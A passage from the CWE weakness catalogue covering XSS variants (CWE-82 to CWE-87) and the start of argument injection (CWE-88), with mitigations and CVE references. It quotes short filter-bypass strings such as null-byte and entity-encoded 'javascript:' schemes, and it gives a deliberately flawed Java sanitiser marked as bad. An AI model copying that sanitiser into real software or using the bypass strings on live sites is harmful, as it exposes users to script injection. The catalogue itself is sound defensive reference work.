When an attacker can trigger an error that contains script syntax within the attacker's input, then cross-site scripting attacks may be possible.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	152
CanAlsoBe	B	209	Generation of Error Message Containing Sensitive Information	490
CanAlsoBe	B	390	Detection of Error Condition Without Action	845

Weakness Ordinalities

Resultant :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Read Application Data Execute Unauthorized Code or Commands	

Potential Mitigations

Phase: Implementation

Do not write user-controlled input to error pages.

Phase: Implementation

Carefully check each input parameter against a rigorous positive specification (allowlist) defining the specific characters and format allowed. All input should be neutralized, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. We often encounter data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.

Phase: Implementation

Strategy = Output Encoding

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component. The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.

Phase: Implementation

With Struts, write all data from form beans with the bean's filter attribute set to true.

Phase: Implementation

Strategy = Attack Surface Reduction

To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHTTPRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.

Effectiveness = Defense in Depth

Observed Examples

Reference	Description
CVE-2002-0840	XSS in default error page from Host: header. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0840*
CVE-2002-1053	XSS in error message. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1053*
CVE-2002-1700	XSS in error page from targeted parameter. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1700*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1953

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			XSS in error pages
Software Fault Patterns	SFP24		Tainted input to command

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
198	XSS Targeting Error Pages

References

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

CWE-82: Improper Neutralization of Script in Attributes of IMG Tags in a Web Page

Weakness ID : 82 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The web application does not neutralize or incorrectly neutralizes scripting elements within attributes of HTML IMG tags, such as the src attribute.

Extended Description

Attackers can embed XSS exploits into the values for IMG attributes (e.g. SRC) that is streamed and then executed in a victim's browser. Note that when the page is loaded into a user's browsers, the exploit will automatically execute.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	V	83	Improper Neutralization of Script in Attributes in a Web Page	171

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Read Application Data Execute Unauthorized Code or Commands	

Potential Mitigations

Phase: Implementation

Strategy = Output Encoding

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component. The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.

Phase: Implementation

Strategy = Attack Surface Reduction

To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHTTPRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.

Effectiveness = Defense in Depth

Observed Examples

Reference	Description
CVE-2006-3211	Stored XSS in a guestbook application using a javascript: URI in a bbcode img tag. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3211*
CVE-2002-1649	javascript URI scheme in IMG tag. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1649*
CVE-2002-1803	javascript URI scheme in IMG tag. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1803*
CVE-2002-1804	javascript URI scheme in IMG tag. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1804*
CVE-2002-1805	javascript URI scheme in IMG tag. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1805*
CVE-2002-1806	javascript URI scheme in IMG tag. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1806*
CVE-2002-1807	javascript URI scheme in IMG tag. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1807*
CVE-2002-1808	javascript URI scheme in IMG tag. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1808*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1953

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Script in IMG tags
Software Fault Patterns	SFP24		Tainted input to command

CWE-83: Improper Neutralization of Script in Attributes in a Web Page

Weakness ID : 83 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The software does not neutralize or incorrectly neutralizes "javascript:" or other URIs from dangerous attributes within tags, such as onmouseover, onload, onerror, or style.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	152
ParentOf	V	82	Improper Neutralization of Script in Attributes of IMG Tags in a Web Page	169

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Read Application Data Execute Unauthorized Code or Commands	

Potential Mitigations

Phase: Implementation

Carefully check each input parameter against a rigorous positive specification (allowlist) defining the specific characters and format allowed. All input should be neutralized, not just parameters that the user is supposed to specify, but all data in the request, including tag attributes, hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. We often encounter data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.

Phase: Implementation

Strategy = Output Encoding

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component. The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.

Phase: Implementation

With Struts, write all data from form beans with the bean's filter attribute set to true.

Phase: Implementation

Strategy = Attack Surface Reduction

To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHTTPRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.

Effectiveness = Defense in Depth

Observed Examples

Reference	Description
CVE-2001-0520	Bypass filtering of SCRIPT tags using onload in BODY, href in A, BUTTON, INPUT, and others. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0520*
CVE-2002-1493	guestbook XSS in STYLE or IMG SRC attributes. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1493*
CVE-2002-1965	Javascript in onerror attribute of IMG tag. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1965*
CVE-2002-1495	XSS in web-based email product via onmouseover event. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1495*
CVE-2002-1681	XSS via script in <P> tag. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1681*
CVE-2004-1935	Onload, onmouseover, and other events in an e-mail attachment. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1935*
CVE-2005-0945	Onmouseover and onload events in img, link, and mail tags. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0945*
CVE-2003-1136	Javascript in onmouseover attribute in e-mail address or URL. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1136*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1953

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			XSS using Script in Attributes
Software Fault Patterns	SFP24		Tainted input to command

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
243	XSS Targeting HTML Attributes
244	XSS Targeting URI Placeholders
588	DOM-Based XSS

CWE-84: Improper Neutralization of Encoded URI Schemes in a Web Page

Weakness ID : 84 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The web application improperly neutralizes user-controlled input for executable script disguised with URI encodings.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	152

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Resolve all URIs to absolute or canonical representations before processing.

Phase: Implementation

Strategy = Input Validation

Carefully check each input parameter against a rigorous positive specification (allowlist) defining the specific characters and format allowed. All input should be neutralized, not just parameters that the user is supposed to specify, but all data in the request, including tag attributes, hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. We often encounter data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.

Phase: Implementation

Strategy = Output Encoding

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component. The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.

Phase: Implementation

With Struts, write all data from form beans with the bean's filter attribute set to true.

Phase: Implementation

Strategy = Attack Surface Reduction

To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible

to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHTTPRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.

Effectiveness = Defense in Depth

Observed Examples

Reference	Description
CVE-2005-0563	Cross-site scripting (XSS) vulnerability in Microsoft Outlook Web Access (OWA) component in Exchange Server 5.5 allows remote attackers to inject arbitrary web script or HTML via an email message with an encoded javascript: URL ("jav&#X41sc
ript:") in an IMG tag. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0563*
CVE-2005-2276	Cross-site scripting (XSS) vulnerability in Novell Groupwise WebAccess 6.5 before July 11, 2005 allows remote attackers to inject arbitrary web script or HTML via an e-mail message with an encoded javascript URI (e.g. "j&#X41vascript" in an IMG tag). *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2276*
CVE-2005-0692	Encoded script within BBcode IMG tag. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0692*
CVE-2002-0117	Encoded "javascript" in IMG tag. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0117*
CVE-2002-0118	Encoded "javascript" in IMG tag. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0118*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1953

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			XSS using Script Via Encoded URI Schemes
Software Fault Patterns	SFP24		Tainted input to command

CWE-85: Doubled Character XSS Manipulations

Weakness ID : 85 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The web application does not filter user-controlled input for executable script disguised using doubling of the involved characters.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	152
PeerOf	C	675	Duplicate Operations on Resource	1316

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Read Application Data Execute Unauthorized Code or Commands	

Potential Mitigations

Phase: Implementation

Resolve all filtered input to absolute or canonical representations before processing.

Phase: Implementation

Carefully check each input parameter against a rigorous positive specification (allowlist) defining the specific characters and format allowed. All input should be neutralized, not just parameters that the user is supposed to specify, but all data in the request, including tag attributes, hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. We often encounter data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.

Phase: Implementation

Strategy = Output Encoding

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component. The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.

Phase: Implementation

With Struts, write all data from form beans with the bean's filter attribute set to true.

Phase: Implementation

Strategy = Attack Surface Reduction

To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHTTPRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.

Effectiveness = Defense in Depth

Observed Examples

Reference	Description
CVE-2002-2086	XSS using "<script". *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-2086*
CVE-2000-0116	Encoded "javascript" in IMG tag. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0116*
CVE-2001-1157	Extra "<" in front of SCRIPT tag. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1157*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1953

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			DOUBLE - Doubled character XSS manipulations, e.g. "<script"
Software Fault Patterns	SFP24		Tainted input to command

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
245	XSS Using Doubled Characters

CWE-86: Improper Neutralization of Invalid Characters in Identifiers in Web Pages

Weakness ID : 86 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The software does not neutralize or incorrectly neutralizes invalid characters or byte sequences in the middle of tag names, URI schemes, and other identifiers.

Extended Description

Some web browsers may remove these sequences, resulting in output that may have unintended control implications. For example, the software may attempt to remove a "javascript:" URI scheme, but a "java%00script:" URI may bypass this check and still be rendered as active javascript by some browsers, allowing XSS or other attacks.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	436	Interpretation Conflict	944
ChildOf	B	79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	152
PeerOf	B	184	Incomplete List of Disallowed Inputs	425

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Read Application Data Execute Unauthorized Code or Commands	

Potential Mitigations

Phase: Implementation

Strategy = Output Encoding

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component. The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.

Phase: Implementation

Strategy = Attack Surface Reduction

To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHTTPRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.

Effectiveness = Defense in Depth

Observed Examples

Reference	Description
CVE-2004-0595	XSS filter doesn't filter null characters before looking for dangerous tags, which are ignored by web browsers. Multiple Interpretation Error (MIE) and validate-before-cleanse. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0595*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1953

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Invalid Characters in Identifiers
Software Fault Patterns	SFP24		Tainted input to command

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
73	User-Controlled Filename
85	AJAX Fingerprinting
247	XSS Using Invalid Characters

CWE-87: Improper Neutralization of Alternate XSS Syntax

Weakness ID : 87 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The software does not neutralize or incorrectly neutralizes user-controlled input for alternate script syntax.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	152

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Read Application Data Execute Unauthorized Code or Commands	

Potential Mitigations

Phase: Implementation

Resolve all input to absolute or canonical representations before processing.

Phase: Implementation

Carefully check each input parameter against a rigorous positive specification (allowlist) defining the specific characters and format allowed. All input should be neutralized, not just parameters that the user is supposed to specify, but all data in the request, including tag attributes, hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. We often encounter data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.

Phase: Implementation

Strategy = Output Encoding

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component. The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.

Phase: Implementation

With Struts, write all data from form beans with the bean's filter attribute set to true.

Phase: Implementation

Strategy = Attack Surface Reduction

To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHTTPRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.

Effectiveness = Defense in Depth

Demonstrative Examples

Example 1:

In the following example, an XSS neutralization routine checks for the lower-case "script" string but does not account for alternate strings ("SCRIPT", for example).

Example Language: Java *(bad)*

```
public String preventXSS(String input, String mask) {
    return input.replaceAll("script", mask);
}
```

Observed Examples

Reference	Description
CVE-2002-0738	XSS using "&={script}". *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0738*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1953

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Alternate XSS syntax
Software Fault Patterns	SFP24		Tainted input to command

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
199	XSS Using Alternate Syntax

CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')

Weakness ID : 88 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software constructs a string for a command to executed by a separate component in another control sphere, but it does not properly delimit the intended arguments, options, or switches within that command string.

Extended Description

When creating commands using interpolation into a string, developers may assume that only the arguments/options that they specify will be processed. This assumption may be even stronger when the programmer has encoded the command in a way that prevents separate commands from being provided maliciously, e.g. in the case of shell metacharacters. When constructing the command, the developer may use whitespace or other delimiters that are required to separate arguments when the command. However, if an attacker can provide an untrusted input that contains argument-separating delimiters, then the resulting command will have more arguments than intended by the developer. The attacker may then be able to change the behavior of the command. Depending on the functionality supported by the extraneous arguments, this may have security-relevant consequences.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	77	Improper Neutralization of Special Elements used in a Command ('Command Injection')	136

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf		74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	130

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1019	Validate Inputs	1972

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	137	Data Neutralization Issues	1851

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability Other	Execute Unauthorized Code or Commands Alter Execution Logic Read Application Data Modify Application Data *An attacker could include arguments that allow unintended commands or code to be executed, allow sensitive data to be read or modified or could cause other unintended behavior.*	

Potential Mitigations

Phase: Implementation

Strategy = Parameterization

Where possible, avoid building a single string that contains the command and its arguments. Some languages or frameworks have functions that support specifying independent arguments, e.g. as an array, which is used to automatically perform the appropriate quoting or escaping while building the command. For example, in PHP, escapeshellarg() can be used to escape a single argument to system(), or exec() can be called with an array of arguments. In C, code can often be refactored from using system() - which accepts a single string - to using exec(), which requires separate function arguments for each parameter.

Effectiveness = High

Phase: Architecture and Design

Strategy = Input Validation

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, request headers as well as content, URL components, e-mail, files, databases, and any external systems that provide data to the application. Perform input validation at well-defined interfaces.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing

input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Directly convert your input type into the expected data type, such as using a conversion function that translates a string into a number. After converting to the expected data type, ensure that the input's values fall within the expected range of allowable values and that multi-field consistencies are maintained.

Phase: Implementation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass allowlist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control. Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.

Phase: Implementation

When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.

Phase: Implementation

